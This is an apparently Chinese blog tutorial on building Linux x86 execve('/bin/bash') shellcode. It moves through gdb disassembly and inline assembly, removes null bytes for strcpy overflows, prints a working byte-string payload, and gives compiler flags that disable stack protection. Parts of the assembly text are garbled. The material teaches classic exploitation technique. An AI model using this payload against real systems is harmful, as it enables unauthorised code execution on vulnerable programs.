Linux ShellCode技术


这里,我们将编写一个非常简单的shellcode,它的功能是得到一个命令行。我们将从该shellcode的C程序源码开始,逐步构造并提取shellcode。

该shellcode的C程序源码为:

  1.  root@linux:~/pentest# cat shellcode.c  
  2. #include <stdio.h>   
  3.   
  4. int main(int argc, char **argv) {  
  5.   
  6.     char *name[2];  
  7.     name[0] = "/bin/bash";  
  8.     name[1] = NULL;  
  9.   
  10.     execve(name[0], name, NULL);  
  11.   
  12.     return 0;  

为了避免链接干扰,静态编译该shellcode,命令为:

 root@linux:~/pentest# gcc -static -g -o shellcode shellcode.c

下面使用gdb调试并分析一下shellcode程序:

  1.  root@linux:~/pentest# gdb shellcode  
  2. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  3. Copyright (C) 2010 Free Software Foundation, Inc.  
  4. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>   
  5. This is free software: you are free to change and redistribute it.  
  6. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  
  7. and "show warranty" for details.  
  8. This GDB was configured as "i686-linux-gnu".  
  9. For bug reporting instructions, please see:  
  10. <http://www.gnu.org/software/gdb/bugs/>...   
  11. Reading symbols from /root/pentest/shellcode...done.  
  12. (gdb) disass main  
  13. Dump of assembler code for function main:  
  14.    0x080482c0 <+0>:   push   %ebp  
  15.    0x080482c1 <+1>:   mov    %esp,%ebp  
  16.    0x080482c3 <+3>:   and    {1}xfffffff0,%esp  
  17.    0x080482c6 <+6>:   sub    {1}x20,%esp  
  18.    0x080482c9 <+9>:   movl   {1}x80ae428,0x18(%esp)  
  19.    0x080482d1 <+17>:  movl   {1}x0,0x1c(%esp)  
  20.    0x080482d9 <+25>:  mov    0x18(%esp),%eax  
  21.    0x080482dd <+29>:  movl   {1}x0,0x8(%esp)  
  22.    0x080482e5 <+37>:  lea    0x18(%esp),%edx  
  23.    0x080482e9 <+41>:  mov    %edx,0x4(%esp)  
  24.    0x080482ed <+45>:  mov    %eax,(%esp)  
  25.    0x080482f0 <+48>:  call   0x8052f10 <execve>  
  26.    0x080482f5 <+53>:  mov    {1}x0,%eax  
  27.    0x080482fa <+58>:  leave    
  28.    0x080482fb <+59>:  ret      
  29. End of assembler dump.  

根据程序反汇编得到的代码分析,在call指令执行之前,函数堆栈的使用情况如下图所示:

 

我们用gdb调试运行shellcode,看我们上面的分析是否完全正确。

  1. (gdb) b main  
  2. Breakpoint 1 at 0x80482c9: file shellcode.c, line 6.  
  3. (gdb) b *main+48  
  4. Breakpoint 2 at 0x80482f0: file shellcode.c, line 9.  
  5. (gdb) r  
  6. Starting program: /root/pentest/shellcode   
  7.   
  8. Breakpoint 1, main (argc=1, argv=0xbffff474) at shellcode.c:6  
  9. 6       name[0] = "/bin/bash";  
  10. (gdb) x/s 0x80ae428  
  11. 0x80ae428:   "/bin/bash"  
  12. (gdb) c  
  13. Continuing.  
  14.   
  15. Breakpoint 2, 0x080482f0 in main (argc=1, argv=0xbffff474) at shellcode.c:9  
  16. 9       execve(name[0], name, NULL);  
  17. (gdb) x/4bx $ebp-40  
  18. 0xbffff3b0: 0x28    0xe4    0x0a    0x08  
  19. (gdb) x/4bx $ebp-36  
  20. 0xbffff3b4: 0xc8        0xf3        0xff    0xbf  
  21. (gdb) x/4bx $ebp-32  
  22. 0xbffff3b8: 0x00    0x00    0x00    0x00  
  23. (gdb) x/4bx $ebp-12  
  24. 0xbffff3cc: 0x00    0x00    0x00    0x00  
  25. (gdb) x/4bx $ebp-16  
  26. 0xbffff3c8: 0x28    0xe4    0x0a        0x08  
  27. (gdb)  


2.

从调试结果看,上面关于call指令前的堆栈的分析是完全正确的。

即main函数的关键在于调用了execve函数,在调试中我们可以看到在调用该函数前将三个参数按照从右往左的顺序依次压入堆栈中。首先压入0x0(即NULL参数),然后是指向0x80ae428的指针,最后压入地址0x80ae428。

 

接下来,我们反汇编execve函数,看看该函数的功能是如何实现的。

  1.  (gdb) disass execve  
  2. Dump of assembler code for function execve:  
  3.    0x08052f10 <+0>:   push   %ebp  
  4.    0x08052f11 <+1>:   mov    %esp,%ebp  
  5.    0x08052f13 <+3>:   mov    0x10(%ebp),%edx  
  6.    0x08052f16 <+6>:   push   %ebx  
  7.    0x08052f17 <+7>:   mov    0xc(%ebp),%ecx  
  8.    0x08052f1a <+10>:  mov    0x8(%ebp),%ebx  
  9.    0x08052f1d <+13>:  mov    {1}xb,%eax  
  10.    0x08052f22 <+18>:  call   *0x80cf098  
  11.    0x08052f28 <+24>:  cmp    {1}xfffff000,%eax  
  12.    0x08052f2d <+29>:  ja     0x8052f32 <execve+34>  
  13.    0x08052f2f <+31>:  pop    %ebx  
  14.    0x08052f30 <+32>:  pop    %ebp  
  15.    0x08052f31 <+33>:  ret      
  16.    0x08052f32 <+34>:  mov    {1}xffffffe8,%edx  
  17.    0x08052f38 <+40>:  neg    %eax  
  18.    0x08052f3a <+42>:  mov    %gs:0x0,%ecx  
  19.    0x08052f41 <+49>:  mov    %eax,(%ecx,%edx,1)  
  20.    0x08052f44 <+52>:  or     {1}xffffffff,%eax  
  21.    0x08052f47 <+55>:  jmp    0x8052f2f <execve+31>  
  22. End of assembler dump.  

可以看到该函数的核心是“call   *0x80cf098”这条指令。为了查看该call指令具体调用的函数名称,继续调试如下:

  1. (gdb) b *execve+18  
  2. Breakpoint 1 at 0x8052f22  
  3. (gdb) r  
  4. Starting program: /root/pentest/shellcode   
  5.   
  6. Breakpoint 1, 0x08052f22 in execve ()  
  7. (gdb) stepi  
  8. 0x00110414 in __kernel_vsyscall ()  
  9. (gdb) stepi  
  10. process 1870 is executing new program: /bin/bash  
  11. root@linux:/root/pentest# exit  
  12. exit  
  13.   
  14. Program exited normally.  
  15. (gdb)  

可以看到,该call指令调用了__kernel_vsyscall ()这个内核函数。又因为__kernel_vsyscall的设计目标是代替int 80, 也就是下面两种方式应该是等价的:

  1.   /* int80 */                           /* __kernel_vsyscall */  
  2.      movl </span><pre class="cpp" name="code"><span style="font-size:18px;">{1} 

_NR_getpid, %eax movl

 {1} 

 _NR_getpid, %eax int {1}x80 call __kernel_vsyscall /* %eax=getpid() */ /* %eax=getpid() %/  

同时,我们可以借鉴以前版本gcc编译后反汇编的代码查看execve的实现细节:

  1. [scz@ /home/scz/src]> gdb shellcode  
  2. GNU gdb 4.17.0.11 with Linux support  
  3. This GDB was configured as "i386-RedHat-linux"...  
  4. (gdb) disassemble main <-- -- -- 输入  
  5. Dump of assembler code for function main:  
  6. 0x80481a0 :       pushl  %ebp  
  7. 0x80481a1 :     movl   %esp,%ebp  
  8. 0x80481a3 :     subl   {1}x8,%esp  
  9. 0x80481a6 :     movl   {1}x806f308,0xfffffff8(%ebp)  
  10. 0x80481ad :    movl   {1}x0,0xfffffffc(%ebp)  
  11. 0x80481b4 :    pushl  {1}x0  
  12. 0x80481b6 :    leal   0xfffffff8(%ebp),%eax  
  13. 0x80481b9 :    pushl  %eax  
  14. 0x80481ba :    movl   0xfffffff8(%ebp),%eax  
  15. 0x80481bd :    pushl  %eax  
  16. 0x80481be :    call   0x804b9b0 <__execve>  
  17. 0x80481c3 :    addl   {1}xc,%esp  
  18. 0x80481c6 :    xorl   %eax,%eax  
  19. 0x80481c8 :    jmp    0x80481d0  
  20. 0x80481ca :    leal   0x0(%esi),%esi  
  21. 0x80481d0 :    leave  
  22. 0x80481d1 :    ret  
  23. End of assembler dump.  
  24. (gdb) disas __execve <-- -- -- 输入  
  25. Dump of assembler code for function __execve:  
  26. 0x804b9b0 <__execve>:   pushl  %ebx  
  27. 0x804b9b1 <__execve+1>: movl   0x10(%esp,1),%edx  
  28. 0x804b9b5 <__execve+5>: movl   0xc(%esp,1),%ecx  
  29. 0x804b9b9 <__execve+9>: movl   0x8(%esp,1),%ebx  
  30. 0x804b9bd <__execve+13>:        movl   {1}xb,%eax  
  31. 0x804b9c2 <__execve+18>:        int    {1}x80  
  32. 0x804b9c4 <__execve+20>:        popl   %ebx  
  33. 0x804b9c5 <__execve+21>:        cmpl   {1}xfffff001,%eax  
  34. 0x804b9ca <__execve+26>:        jae    0x804bcb0 <__syscall_error>  
  35. 0x804b9d0 <__execve+32>:        ret  
  36. End of assembler dump.  

即,execve的核心是一个软中断int $0x80。接下来,查看一下在软中断之前,各寄存器的内容,及其意义:

  1.  (gdb) disass execve  
  2. Dump of assembler code for function execve:  
  3.    0x08052f10 <+0>:   push   %ebp  
  4.    0x08052f11 <+1>:   mov    %esp,%ebp  
  5.    0x08052f13 <+3>:   mov    0x10(%ebp),%edx  
  6.    0x08052f16 <+6>:   push   %ebx  
  7.    0x08052f17 <+7>:   mov    0xc(%ebp),%ecx  
  8.    0x08052f1a <+10>:  mov    0x8(%ebp),%ebx  
  9.    0x08052f1d <+13>:  mov    {1}xb,%eax  
  10.    0x08052f22 <+18>:  call   *0x80cf098  
  11.    0x08052f28 <+24>:  cmp    {1}xfffff000,%eax  
  12.    0x08052f2d <+29>:  ja     0x8052f32 <execve+34>  
  13.    0x08052f2f <+31>:  pop    %ebx  
  14.    0x08052f30 <+32>:  pop    %ebp  
  15.    0x08052f31 <+33>:  ret      
  16.    0x08052f32 <+34>:  mov    {1}xffffffe8,%edx  
  17.    0x08052f38 <+40>:  neg    %eax  
  18.    0x08052f3a <+42>:  mov    %gs:0x0,%ecx  
  19.    0x08052f41 <+49>:  mov    %eax,(%ecx,%edx,1)  
  20.    0x08052f44 <+52>:  or     {1}xffffffff,%eax  
  21.    0x08052f47 <+55>:  jmp    0x8052f2f <execve+31>  
  22. End of assembler dump.  
  23. (gdb) b *execve+18  
  24. Breakpoint 1 at 0x8052f22  
  25. (gdb) r  
  26. Starting program: /root/pentest/shellcode   
  27.   
  28. Breakpoint 1, 0x08052f22 in execve ()  
  29. (gdb) i r   
  30. eax            0xb  11  
  31. ecx            0xbffff3c8   -1073744952  
  32. edx            0x0  0  
  33. ebx            0x80ae428    134931496  
  34. esp            0xbffff3a4   0xbffff3a4  
  35. ebp            0xbffff3a8   0xbffff3a8  
  36. esi            0x8048a40    134515264  
  37. edi            0xbffff42d   -1073744851  
  38. eip            0x8052f22    0x8052f22 <execve+18>  
  39. eflags         0x282    [ SF IF ]  
  40. cs             0x73 115  
  41. ss             0x7b 123  
  42. ds             0x7b 123  
  43. es             0x7b 123  
  44. fs             0x0  0  
  45. gs             0x33 51  
  46. (gdb) x/x 0xbffff3c8  
  47. 0xbffff3c8:  0x80ae428  
  48. (gdb) x/s 0x80ae428  
  49. 0x80ae428:   "/bin/bash"  
  50. (gdb) c  
  51. Continuing.  
  52. process 1981 is executing new program: /bin/bash  
  53. root@linux:/root/pentest# exit  
  54. exit  
  55.   
  56. Program exited normally.  
  57. (gdb)   

可以看到,eax保存execve的系统调用号11,ebx保存name[0](即“/bin/bash”),ecx保存name这个指针,edx保存0(即NULL),这样执行软中断之后,就能得到shell了。接下来,有了以上分析,我们就可以编写自己的shellcode了,同是验证上面分析结果的正确性。


3.

下面,我们用C语言内嵌汇编的方式,构造shellcode,具体代码如下。有一点要注意,Linux X86默认的字节序是little-endian,所以压栈的字符串要注意顺序。(如“/bin/bash”,其16进制表示为0x2f 0x62 0x69 0x6e 0x2f 0x62 0x61 0x73 0x68,在little-endian模式下,其表示为0x68 0x73 0x61 0x62 0x2f 0x6e 0x69 0x62 0x2f,其中有个小技巧,不足4字节的用0x2f(即“/”)补足)。

 
  1.  root@linux:~/pentest# cat shellcode_asm.c  
  2. #include <stdio.h>   
  3.   
  4. int main(int argc, char **argv) {  
  5.       
  6.     __asm__  
  7.     ("                \  
  8.          mov {1}x0,%edx;        \  
  9.         push %edx;        \  
  10.         push {1}x68736162;    \  
  11.         push {1}x2f6e6962;    \  
  12.         push {1}x2f2f2f2f;    \  
  13.         mov %esp,%ebx;        \  
  14.         push %edx;       \  
  15.         push %ebx;        \  
  16.         mov %esp,%ecx;        \  
  17.         mov {1}xb,%eax;        \  
  18.         int {1}x80;        \  
  19.      ");  
  20.   
  21.     return 0;  
  22. }  
  23. root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c  
  24. root@linux:~/pentest# ./shellcode_asm   
  25. root@linux:/root/pentest# exit  
  26. exit  
  27. root@linux:~/pentest#  

通过编译执行,我们成功的得到了shell命令行。在编写内嵌汇编时,一定要注意格式问题;当然,最重要的是在执行软中断前一定要使各寄存器的值符合我们之前分析的结果。

此时,编写工作还没有完结,要记住我们的最终目的是得到ShellCode,也就是一串汇编指令;而对于strcpy等函数造成的缓冲区溢出攻击,会认为0是一个字符串的终结,那么ShellCode如果包含0就会被截断,导致溢出失败。

用objdump反汇编这个shellcode,并查看是否包含0,命令为:

 objdump –d shellcode_asm | less

 该命令将会反汇编所有包含机器指令的section,请自行找到main段:

  1.  08048394 <main>:  
  2.  8048394:    55                       push   %ebp  
  3.  8048395:    89 e5                   mov    %esp,%ebp  
  4.  8048397:    ba 00 00 00 00      mov    {1}x0,%edx  
  5.  804839c:    52                       push   %edx  
  6.  804839d:    68 62 61 73 68      push  {1}x68736162  
  7.  80483a2:    68 62 69 6e 2f       push   {1}x2f6e6962  
  8.  80483a7:    68 2f 2f 2f 2f        push   {1}x2f2f2f2f  
  9.  80483ac:    89 e3                    mov    %esp,%ebx  
  10.  80483ae:    52                        push   %edx  
  11.  80483af:    53                        push   %ebx  
  12.  80483b0:    89 e1                    mov    %esp,%ecx  
  13.  80483b2:    b8 0b 00 00 00       mov    {1}xb,%eax  
  14.  80483b7:    cd 80                    int    {1}x80  
  15.  80483b9:    b8 00 00 00 00       mov    {1}x0,%eax  
  16.  80483be:    5d                        pop    %ebp  
  17.  80483bf:    c3                        ret    

从反汇编结果可以看到,有两条指令“mov    $0x0,%edx”和“mov    $0xb,%eax”包含0,需要变通一下。我们分别使用“x0r %edx,%edx”和“lea 0xb(%edx),%eax”来替换。

  1.  root@linux:~/pentest# cat shellcode_asm.c  
  2. #include <stdio.h>   
  3.   
  4. int main(int argc, char **argv) {  
  5.       
  6.     __asm__  
  7.     ("                \  
  8.          xor %edx,%edx;        \  
  9.         push %edx;        \  
  10.         push {1}x68736162;    \  
  11.         push {1}x2f6e6962;    \  
  12.         push {1}x2f2f2f2f;    \  
  13.         mov %esp,%ebx;        \  
  14.         push %edx;       \  
  15.         push %ebx;        \  
  16.         mov %esp,%ecx;        \  
  17.         lea 0xb(%edx),%eax;    \  
  18.         int {1}x80;        \  
  19.      ");  
  20.   
  21.     return 0;  
  22. }  
  23. root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c  
  24. root@linux:~/pentest# ./shellcode_asm   
  25. root@linux:/root/pentest# exit  
  26. exit  
  27. root@linux:~/pentest#  

 运行没有问题,再看看这个shellcode有没有包含0:

  1.  08048394 <main>:  
  2.  8048394:    55                           push   %ebp  
  3.  8048395:    89 e5                       mov    %esp,%ebp  
  4.  8048397:    31 d2                       xor    %edx,%edx  
  5.  8048399:    52                           push   %edx  
  6.  804839a:    68 62 61 73 68           push   {1}x68736162  
  7.  804839f:    68 62 69 6e 2f            push   {1}x2f6e6962  
  8.  80483a4:    68 2f 2f 2f 2f             push   {1}x2f2f2f2f  
  9.  80483a9:    89 e3                        mov    %esp,%ebx  
  10.  80483ab:   52                             push   %edx  
  11.  80483ac:    53                            push   %ebx  
  12.  80483ad:    89 e1                        mov    %esp,%ecx  
  13.  80483af:    8d 42 0b                    lea    0xb(%edx),%eax  
  14.  80483b2:    cd 80                        int    {1}x80  
  15.  80483b4:    b8 00 00 00 00            mov    {1}x0,%eax  
  16.  80483b9:    5d                            pop    %ebp  
  17.  80483ba:    c3                            ret      
  18.  80483bb:    90                            nop  
  19.  80483bc:    90                            nop  
  20.  80483bd:    90                            nop  
  21.  80483be:    90                            nop  
  22.  80483bf:    90                       nop  

可以看到,所有曾经出现0的指令,在进行指令替换之后,所有的0全部消除了。注意,我们只提取嵌入汇编部分的指令的二进制代码作为我们的shellcode使用,即从0x8048397到0x80483b2地址之间的指令。

即,我们生成的shellcode为:

\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

  1.  root@linux:~/pentest# cat test_shellcode.c  
  2. #include <stdio.h>   
  3.   
  4. char shellcode[] =   
  5. "\x31\xd2\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f"  
  6. "\x2f\x2f\x2f\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";  
  7.   
  8. int main(int argc, char **argv) {  
  9.     __asm__  
  10.     ("                \  
  11.         call shellcode;        \  
  12.      ");  
  13. }  
  14. root@linux:~/pentest# gcc -g -o test_shellcode test_shellcode.c  
  15. root@linux:~/pentest# ./test_shellcode   
  16. Segmentation fault  
  17. root@linux:~/pentest# gcc -z execstack -g -o test_shellcode test_shellcode.c  
  18. root@linux:~/pentest# ./test_shellcode   
  19. root@linux:/root/pentest# exit  
  20. exit  
  21. root@linux:~/pentest#  

 可以看到,shellcode提取成功!

redhat使用了堆栈保护技术,就是数据段的数据尤其是堆栈段的数据是不能被执行。

在redhat下堆栈保护的开关是由/proc/sys/kernel/exec-shield这个文件控制的。

也可以在编译的时候:gcc-fno-stack-protector  -Z execstack  

表示堆栈不保护,栈可执行


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值